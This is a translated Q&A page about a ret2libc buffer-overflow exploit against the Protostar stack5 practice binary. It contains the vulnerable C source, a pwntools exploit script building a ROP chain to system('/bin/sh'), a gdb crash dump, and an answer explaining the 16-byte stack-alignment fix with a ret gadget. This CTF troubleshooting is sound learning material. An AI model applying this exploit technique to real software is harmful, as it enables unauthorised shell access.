首页 > 解决方案 > ret2libc 攻击中的段错误,但不是硬编码的系统调用

问题描述

我有以下原星挑战

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[BUFFSIZE];
  char flagBuffer[64];
  FILE *fp;
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xff000000) == 0xff000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

并将其编译为 64 位

gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5

我正在使用 pwntools 来制作我的漏洞利用。这是我的exploit.py 文件

from pwn import *

exe = './stack5'

context.clear(arch='amd64')
context.kernel = 'amd64'

system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a

binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}

rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()

这会导致段错误。将有效负载保存到 txt 文件并使用 gdb 运行后,我发现段错误发生在do_system

input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]

Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov    rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>:  movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a332e6 <do_system+1078>: movq   xmm0,QWORD PTR [rsp+0x8]
   0x7ffff7a332ec <do_system+1084>: mov    QWORD PTR [rsp+0x8],rax
   0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
   0x7ffff7a332fb <do_system+1099>: call   0x7ffff7a23110 <__GI___sigaction>
   0x7ffff7a33300 <do_system+1104>: lea    rsi,[rip+0x39e2f9]        # 0x7ffff7dd1600 <quit>
   0x7ffff7a33307 <do_system+1111>: xor    edx,edx
   0x7ffff7a33309 <do_system+1113>: mov    edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>:    mov    rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>:  push   rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.

令人困惑的是,当我system("/bin/sh");在 c 代码中添加一个调用时,调用有效并且我弹出一个 shell,但是当我通过 ret2libc 攻击调用系统时,它会出现段错误。

标签: csegmentation-faultctf

解决方案


在搜索说明后,movaps segfault我发现了这个解释问题的网站。

MOVAPS 问题

如果您使用的是 Ubuntu 18.04 并在 64 位挑战中对 buffered_vfprintf() 或 do_system() 中的 movaps 指令进行分段错误,则在返回到诸如 printf() 和 system() 等 GLIBC 函数之前确保堆栈是 16 字节对齐的。Ubuntu 18.04 打包的 GLIBC 版本在某些功能中使用 movaps 指令将数据移动到堆栈上。64 位调用约定要求堆栈在调用指令之前对齐 16 字节,但这在 ROP 链执行期间很容易违反,导致从该函数进行的所有进一步调用都使用未对齐的堆栈进行。movaps 在对未对齐的数据进行操作时会触发一般保护错误,因此请尝试在返回函数之前用额外的 ret 填充 ROP 链,或者进一步返回函数以跳过推送指令。

只需ret在调用对齐字节之前添加对小工具的调用system,并允许我弹出一个外壳。


推荐阅读